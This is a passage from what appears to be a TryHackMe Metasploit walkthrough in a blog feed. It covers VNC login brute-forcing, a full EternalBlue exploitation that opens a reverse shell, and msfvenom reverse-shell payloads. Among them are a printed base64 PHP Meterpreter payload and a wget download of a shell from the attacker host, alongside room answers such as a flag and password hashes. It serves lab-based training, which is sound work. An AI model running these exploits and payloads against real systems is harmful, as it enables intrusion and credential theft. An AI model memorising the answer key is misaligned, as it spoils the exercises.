/opt/metasploit-framework-5101/data/wordlists/vnc_passwords.txt  no        File containing passwords, one per line<br>  Proxies                                                                            no        A proxy chain of format type:host:port[,type:host:port][...]<br>  RHOSTS                                                                             yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&#39;<br>  RPORT             5900                                                             yes       The target port (TCP)<br>  STOP_ON_SUCCESS   false                                                            yes       Stop guessing when a credential works for a host<br>  THREADS           1                                                                yes       The number of concurrent threads (max one per host)<br>  USERNAME                                                                    no        A specific username to authenticate as<br>  USERPASS_FILE                                                                      no        File containing users and passwords separated by space, one pair per line<br>  USER_AS_PASS      false                                                            no        Try the username as the password for all users<br>  USER_FILE                                                                          no        File containing usernames, one per line<br>  VERBOSE           true   <br>                                                          yes       Whether to print output for all attempts<br>Description:<br>  This module will test a VNC server on a range of machines and report <br>  successful logins. Currently it supports RFB protocol version 3.3, <br>  3.7, 3.8 and 4.001 using the VNC challenge response authentication <br>  method.<br><br>References:<br>  <a href="https://cvedetails.com/cve/CVE-1999-0506/">https://cvedetails.com/cve/CVE-1999-0506/</a><br><br>msf6 auxiliary(scanner/vnc/vnc_login) &gt;</pre><p>As you can see, the vnc_login module can help us find login details for the VNC service.</p><p>Q:Who wrote the module that allows us to check SMTP servers for open relay?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*D7GTzxpO4eLXfcrEBWSE5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*a-kNn8k0193VTA5Rr8Al8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*yrHYPm2l06Tci8g-Y7aI-A.png" /></figure><pre>Campbell Murray</pre><h3>Task 5: Exploitation</h3><p>As the name suggests, Metasploit is an exploitation framework. Exploits are the most populated module category.</p><p><strong>Metasploitversion details</strong></p><pre>=[ metasploit v5.0.101-dev]<br>+ -- --=[ 2048 exploits - 1105 auxiliary - 344 post]<br>+ -- --=[ 562 payloads - 45 encoders - 10 nops]<br>+ -- --=[ 7 evasion]</pre><p>You can search exploits using the search command, obtain more information about the exploit using the info command, and launch the exploit using exploit. While the process itself is simple, remember that a successful outcome depends on a thorough understanding of services running on the target system.</p><p>Most of the exploits will have a preset default payload. However, you can always use the show payloads command to list other commands you can use with that specific exploit.</p><p><strong>Available payloads</strong></p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show payloads <br><br>Compatible Payloads<br>===================<br>   #   Name                                        Disclosure Date  Rank    Check  Description<br>   -   ----                                        ---------------  ----    -----  -----------<br>   0   generic/custom                                               manual  No     Custom Payload<br>   1   generic/shell_bind_tcp                                       manual  No     Generic Command Shell, Bind TCP Inline<br>   2   generic/shell_reverse_tcp                                    manual  No     Generic Command Shell, Reverse TCP Inline<br>   3   windows/x64/exec                                             manual  No     Windows x64 Execute Command<br>   4   windows/x64/loadlibrary                                      manual  No     Windows x64 LoadLibrary Path<br>   5   windows/x64/messagebox                                       manual  No     Windows MessageBox x64<br>   6   windows/x64/meterpreter/bind_ipv6_tcp                        manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager<br>   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support<br>   8   windows/x64/meterpreter/bind_named_pipe                      manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager<br>   9   windows/x64/meterpreter/bind_tcp                             manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager<br>   10  windows/x64/meterpreter/bind_tcp_rc4                         manual  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)</pre><p>Once you have decided on the payload, you can use the set payload command to make your choice.</p><p><strong>Payload options</strong></p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; set payload 2<br>payload =&gt; generic/shell_reverse_tcp<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show options <br><br>Module options (exploit/windows/smb/ms17_010_eternalblue):<br>   Name           Current Setting  Required  Description<br>   ----           ---------------  --------  -----------<br>   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&#39;<br>   RPORT          445              yes       The target port (TCP)<br>   SMBDomain      .                no        (Optional) The Windows domain to use for authentication<br>   SMBPass                         no        (Optional) The password for the specified username<br>   SMBUser                         no        (Optional) The username to authenticate as<br>   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.<br>   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.<br><br>Payload options (generic/shell_reverse_tcp):<br>   Name   Current Setting  Required  Description<br>   ----   ---------------  --------  -----------<br>   LHOST                   yes       The listen address (an interface may be specified)<br>   LPORT  4444             yes       The listen port<br><br>Exploit target:<br>   Id  Name<br>   --  ----<br>   0   Windows 7 and Server 2008 R2 (x64) All Service Packs<br><br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>Note that choosing a working payload could become a trial and error process due to environmental or OS restrictions such as firewall rules, anti-virus, file writing, or the program performing the payload execution isn’t available (eg. payload/python/shell_reverse_tcp).</p><p>Some payloads will open new parameters that you may need to set, running the show options command once more can show these. As you can see in the above example, a reverse payload will at least require you to set the LHOST option.</p><p><strong>Setting the LHOST value and running the exploit</strong></p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; set lhost 10.10.186.44<br>lhost =&gt; 10.10.186.44<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; exploit <br><br>[*] Started reverse TCP handler on 10.10.186.44:4444 <br>[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check<br>[+] 10.10.12.229:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)<br>[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)<br>[*] 10.10.12.229:445 - Connecting to target for exploitation.<br>[+] 10.10.12.229:445 - Connection established for exploitation.<br>[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply<br>[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)<br>[*] 10.10.12.229:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes<br>[*] 10.10.12.229:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv<br>[*] 10.10.12.229:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      <br>[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply<br>[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.<br>[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet<br>[*] 10.10.12.229:445 - Starting non-paged pool grooming<br>[+] 10.10.12.229:445 - Sending SMBv2 buffers<br>[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.<br>[*] 10.10.12.229:445 - Sending final SMBv2 buffers.<br>[*] 10.10.12.229:445 - Sending last fragment of exploit packet!<br>[*] 10.10.12.229:445 - Receiving response from exploit packet<br>[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!<br>[*] 10.10.12.229:445 - Sending egg to corrupted connection.<br>[*] 10.10.12.229:445 - Triggering free of corrupted buffer.<br>[*] Command shell session 1 opened (10.10.186.44:4444 -&gt; 10.10.12.229:49366) at 2021-08-20 04:51:19 +0100<br>C:\Windows\system32&gt;</pre><p>Once a session is opened, you can background it using CTRL+Z or abort it using CTRL+C. Backgrounding a session will be useful when working on more than one target simultaneously or on the same target with a different exploit and/or shell.</p><p><strong>Backgrounding the session</strong></p><pre>C:\Windows\system32&gt;^Z<br>Background session 1? [y/N]  y<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; sessions<br><br>Active sessions<br>===============<br>  Id  Name  Type               Information                                                                       Connection<br>  --  ----  ----               -----------                                                                       ----------<br>  1         shell x64/windows  Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  10.10.186.44:4444 -&gt; 10.10.12.229:49366 (10.10.12.229)<br><br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p><strong>Working with sessions</strong></p><p>The sessions command will list all active sessions. The sessions command supports a number of options that will help you manage sessions better.</p><p>Sessions help menu</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; sessions -h<br>Usage: sessions [options] or sessions [id]<br><br>Active session manipulation and interaction.<br>OPTIONS:<br>    -C   Run a Meterpreter Command on the session given with -i, or all<br>    -K        Terminate all sessions<br>    -S   Row search filter.<br>    -c   Run a command on the session given with -i, or all<br>    -d        List all inactive sessions<br>    -h        Help banner<br>    -i   Interact with the supplied session ID<br>    -k   Terminate sessions by session ID and/or range<br>    -l        List all active sessions<br>    -n   Name or rename a session by ID<br>    -q        Quiet mode<br>    -s   Run a script or module on the session given with -i, or all<br>    -t   Set a response timeout (default: 15)<br>    -u   Upgrade a shell to a meterpreter session on many platforms<br>    -v        List all active sessions in verbose mode<br>    -x        Show extended information in the session table<br>Many options allow specifying session ranges using commas and dashes.<br>For example:  sessions -s checkvm -i 1,3-5  or  sessions -k 1-2,5,6<br><br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>You can interact with any existing session using the sessions -i command followed by the session ID.</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; sessions <br><br>Active sessions<br>===============<br>  Id  Name  Type               Information                                                                       Connection<br>  --  ----  ----               -----------                                                                       ----------<br>  1         shell x64/windows  Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  10.10.186.44:4444 -&gt; 10.10.12.229:49366 (10.10.12.229)<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; sessions -i 1<br>[*] Starting interaction with 1...<br><br>C:\Windows\system32&gt;</pre><p>Q1:Exploit one of the critical vulnerabilities on the target VM</p><pre>No answer needed</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*AsVPCU5oagfrVPwF5bPq1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*V7vblVA3FEqiqy-cd73kng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vty3stgVFoNpCoEloHID0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*v25rra6yQgVZd-25RsrWhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*odhmP9IixaGvpUP5r57P7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*gT_FI95Z5y3IHIgAHKcGig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*iGqmJOgQ30KFobZKVF4yEA.png" /></figure><p>Q2:What is the content of the flag.txt file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*RYIMWxScJ1tMT99jkq6MCg.png" /></figure><pre>THM-5455554845</pre><p>Q3:What is the NTLM hash of the password of the user “pirate”?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*nrECv7szLvBK898qCttvgg.png" /></figure><pre>8ce9a3ebd1647fcc5e04025019f4b875</pre><h3>Task 6: Msfvenom</h3><p>Msfvenom, which replaced Msfpayload and Msfencode, allows you to generate payloads.</p><p>Msfvenom will allow you to access all payloads available in the Metasploit framework. Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many different target systems (Apple, Windows, Android, Linux, etc.).</p><p>Msfvenom payloads</p><pre>root@ip-10-10-186-44:~# msfvenom -l payloads <br><br>Framework Payloads (562 total) [--payload ]<br>==================================================<br>    Name                                                Description<br>    ----                                                -----------<br>    aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell<br>    aix/ppc/shell_find_port                             Spawn a shell on an established connection<br>    aix/ppc/shell_interact                              Simply execve /bin/sh (for inetd programs)<br>    aix/ppc/shell_reverse_tcp                           Connect back to attacker and spawn a command shell<br>    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP<br>    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS<br>    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager<br>    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell<br>    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell<br>    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell<br>    android/shell/reverse_http                          Spawn a piped command shell (sh). Tunnel communication over HTTP<br>    android/shell/reverse_https                         Spawn a piped command shell (sh). Tunnel communication over HTTPS<br>    android/shell/reverse_tcp                           Spawn a piped command shell (sh). Connect back stager<br>    apple_ios/aarch64/meterpreter_reverse_http          Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/meterpreter_reverse_https         Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/meterpreter_reverse_tcp           Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/shell_reverse_tcp                 Connect back to attacker and spawn a command shell<br>    apple_ios/armle/meterpreter_reverse_http            Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_https           Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_tcp             Run the Meterpreter / Mettle server payload (stageless)</pre><p><strong>Output formats</strong></p><p>You can either generate stand-alone payloads (e.g. a Windows executable for Meterpreter) or get a usable raw format (e.g. python). Themsfvenom --list formats command can be used to list supported output formats</p><p><strong>Encoders</strong></p><p>Contrary to some beliefs, encoders do not aim to bypass antivirus installed on the target system. As the name suggests, they encode the payload. While it can be effective against some antivirus software, using modern obfuscation techniques or learning methods to inject shellcode is a better solution to the problem. The example below shows the usage of encoding (with the -e parameter. The PHP version of Meterpreter was encoded in Base64, and the output format was raw.</p><p>Generating aPHPpayload</p><pre>root@ip-10-10-186-44:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64<br>[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload<br>[-] No arch selected, selecting arch: php from the payload<br>Found 1 compatible encoders<br>Attempting to encode payload with 1 iterations of php/base64<br>php/base64 succeeded with size 1507 (iteration=0)<br>php/base64 chosen with final size 1507<br>Payload size: 1507 bytes<br>eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE4Ni40NCc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygi.TmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7));<br>root@ip-10-10-186-44:~#</pre><p><strong>Handlers</strong></p><p>Similar to exploits using a reverse shell, you will need to be able to accept incoming connections generated by the MSFvenom payload. When using an exploit module, this part is automatically handled by the exploit module, you will remember how the payload options title appeared when setting a reverse shell. The term commonly used to receive a connection from a target is &#39;catching a shell&#39;. Reverse shells or Meterpreter callbacks generated in your MSFvenom payload can be easily caught using a handler.</p><p>The following scenario may be familiar; we will exploit the file upload vulnerability present in DVWA (Damn Vulnerable Web Application). For the exercises in this task, you will need to replicate a similar scenario on another target system, DVWA was used here for illustration purposes. The exploit steps are;</p><ol><li>Generate the PHP shell using MSFvenom</li><li>Start the Metasploit handler</li><li>Execute the PHP shell</li></ol><p>MSFvenom will require a payload, the local machine IP address, and the local port to which the payload will connect. Seen below, 10.0.2.19 is the IP address of the AttackBox used in the attack and local port 7777 was chosen.</p><p>Generating aPHPreverse shell</p><pre>root@ip-10-0-2-19:~# msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw &gt; reverse_shell.php<br>[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload<br>[-] No arch selected, selecting arch: php from the payload<br>No encoder specified, outputting raw payload<br>Payload size: 3020 bytes<br>root@ip-10-0-2-19:~#</pre><p>Please note: The output PHP file will miss the starting PHP tag commented and the end tag (?&gt;), as seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*797Z84i9lgQHNpPe.png" /></figure><p>The reverse_shell.php file should be edited to convert it into a working PHP file.</p><p>Below: Comments removed from the beginning of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/0*ma_gpQTbaI0T6i1o.png" /></figure><p>Below: End tag added</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/0*yMpgez8Md4AW6LWB.png" /></figure><p>We will use Multi Handler to receive the incoming connection. The module can be used with the use exploit/multi/handler command.</p><p>Multi handler supports all Metasploit payloads and can be used for Meterpreter as well as regular shells.</p><p>To use the module, we will need to set the payload value (php/reverse_php in this case), the LHOST, and LPORT values.</p><p>Setting up the listener</p><pre>msf6 &gt; use exploit/multi/handler <br>[*] Using configured payload generic/shell_reverse_tcp<br>msf5 exploit(multi/handler) &gt; set payload php/reverse_php<br>payload =&gt; php/reverse_php<br>msf5 exploit(multi/handler) &gt; set lhost 10.0.2.19<br>lhost =&gt; 10.0.2.19<br>msf6 exploit(multi/handler) &gt; set lport 7777<br>lport =&gt; 7777<br>msf6 exploit(multi/handler) &gt; show options<br><br>Module options (exploit/multi/handler):<br>   Name  Current Setting  Required  Description<br>   ----  ---------------  --------  -----------<br><br>Payload options (php/reverse_php):<br>   Name   Current Setting  Required  Description<br>   ----   ---------------  --------  -----------<br>   LHOST  10.0.2.19        yes       The listen address (an interface may be specified)<br>   LPORT  7777             yes       The listen port<br><br>Exploit target:<br>   Id  Name<br>   --  ----<br>   0   Wildcard Target<br><br>msf6 exploit(multi/handler) &gt;</pre><p>Once everything is set, we will run the handler and wait for the incoming connection.</p><p>Waiting for the reverse shell</p><pre>msf6 exploit(multi/handler) &gt; run<br><br>[*] Started reverse TCP handler on 10.10.186.44:7777</pre><p>When the reverse shell is triggered, the connection will be received by multi/handler and provide us with a shell.</p><p>If the payload was set as Meterpreter (e.g. in a Windows executable format), multi/handler would then provide us with a Meterpreter shell.</p><p><strong>Other Payloads</strong></p><p>Based on the target system’s configuration (operating system, install webserver, installed interpreter, etc.), msfvenom can be used to create payloads in almost all formats. Below are a few examples you will often use:</p><p>In all these examples, LHOST will be the IP address of your attacking machine, and LPORT will be the port on which your handler will listen.</p><p>Linux Executable and Linkable Format (elf)<br>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf &gt; rev_shell.elf<br>The .elf format is comparable to the .exe format in Windows. These are executable files for Linux. However, you may still need to make sure they have executable permissions on the target machine. For example, once you have the shell.elf file on your target machine, use the chmod +x shell.elf command to accord executable permissions. Once done, you can run this file by typing ./shell.elf on the target machine command line.</p><p>Windows<br>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &gt; rev_shell.exe</p><p>PHP<br>msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &gt; rev_shell.php</p><p>ASP<br>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp &gt; rev_shell.asp</p><p>Python<br>msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &gt; rev_shell.py</p><p>All of the examples above are reverse payloads. This means you will need to have the exploit/multi/handler module listening on your attacking machine to work as a handler. You will need to set up the handler accordingly with the payload, LHOST and LPORT parameters. These values will be the same you have used when creating the msfvenom payload.</p><p>Q1:Launch the VM attached to this task. You can connect via SSH or launch this machine in the browser. Once on the terminal, type “sudo su” to get a root shell, this will make things easier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*0wUsYxtTU9-xFjVvh5lJiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*l0w7dKdNUtFc5he4ftA5Fg.png" /></figure><pre>No answer needed</pre><p>Q2:Create a meterpreter payload in the .elf format (on the AttackBox, or your attacking machine of choice).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*VOiBOjUS9aBdTtKNIqmU9w.png" /></figure><p>LHOST is AttackBox IP</p><pre>No answer needed</pre><p>Q3:Transfer it to the target machine (you can start a Python web server on your attacking machine with the python3 -m http.server 9000 command and use wget <a href="http://attacking_machine_ip:9000/shell.elf">http://ATTACKING_MACHINE_IP:9000/shell.elf</a> to download it to the target machine).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*p_coONWCW3hWDKKhKXeaiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*nWwTunDmNQL4I9sZrum06A.png" /></figure><pre>No answer needed</pre><p>Q4:Get a meterpreter session on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*pAaUo5Nhb6iuXdYwuY0QpA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*6S8Clp8Zq3vuocAH6PwDyg.png" /></figure><pre>No answer needed</pre><p>Q5:Use a post exploitation module to dump hashes of other users on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*fBGSG0ymBFkYQcXi6OUs8Q.png" /></figure><pre>No answer needed</pre><p>Q6:What is the other user’s password hash?</p><pre>$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0</pre><h3>Task 7: Summary</h3><p>You should now have a better understanding of how Metasploit can help you identify potential vulnerabilities on target systems and exploit these vulnerabilities.</p><p>You have also seen how the database feature can help you with penetration testing engagements where you have multiple potential targets.<br>Finally, you should have gained some experience with msfvenom and the creation of stand-alone Meterpreter payloads. This is especially helpful in situations where you can upload a file to the target system or have the ability to download files to the target system. Meterpreter is a powerful tool that offers a lot of easy to use features during the post-exploitation phase.</p><p>No answer is needed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecc0006655a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>